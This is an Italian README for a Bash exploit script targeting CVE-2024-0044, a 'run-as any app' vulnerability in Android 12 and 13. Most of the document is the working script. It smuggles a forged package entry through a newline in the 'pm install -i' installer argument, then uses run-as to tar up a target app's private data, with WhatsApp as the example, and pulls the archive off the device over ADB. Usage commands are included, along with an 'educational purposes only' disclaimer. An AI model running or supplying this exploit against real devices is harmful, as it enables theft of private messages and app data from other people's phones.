CVE-2024-0044-

CVE-2024-0044: una vulnerabilità ad alta gravità "run-as any app" che colpisce Android versioni 12 e 13

Script di Exploit per CVE-2024-0044

Questo script Bash dimostra come sfruttare CVE-2024-0044. Solo per scopi educativi e di test.

Prerequisiti

• ADB (Android Debug Bridge) installato e configurato
• Un dispositivo Android connesso con debug USB abilitato

Codice dello Script

#!/bin/bash

# Function to exploit CVE-2024-0044
exploit_cve_2024_0044() {
    local url=$1
    local package_name=$2
    local apk_path=$3

    # Generate payload
    local payload="PAYLOAD=\"@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null\"
pm install -i \"\$PAYLOAD\" /data/local/tmp/$(basename $apk_path)"

    # Push APK to device
    adb push "$apk_path" /data/local/tmp/

    # Execute payload
    adb shell <<< "$payload"

    # Create temporary directory
    adb shell "mkdir /data/local/tmp/wa/"
    adb shell "touch /data/local/tmp/wa/wa.tar"
    adb shell "chmod -R 0777 /data/local/tmp/wa/"

    # Archive target application's data
    adb shell "run-as victim tar -cf /data/local/tmp/wa/wa.tar $package_name"

    # Pull data
    adb pull "/data/local/tmp/wa/wa.tar" "wa_data.tar"
}

# Usage
if [[ $# -ne 3 ]]; then
    echo "Usage: $0 <url> <package_name> <apk_path>"
    echo "Example: $0 https://web.whatsapp.com/ com.whatsapp /path/to/apk.apk"
    exit 1
fi

exploit_cve_2024_0044 "$1" "$2" "$3"

comandi

chmod +x exploit_cve_2024_0044.sh
./exploit_cve_2024_0044.sh <url> <package_name> <apk_path>

Parametri

• Sostituisci https://web.whatsapp.com/ con l'URL target effettivo.
• Sostituisci com.whatsapp con il nome del pacchetto target.
• Sostituisci /path/to/apk.apk con il percorso del file APK.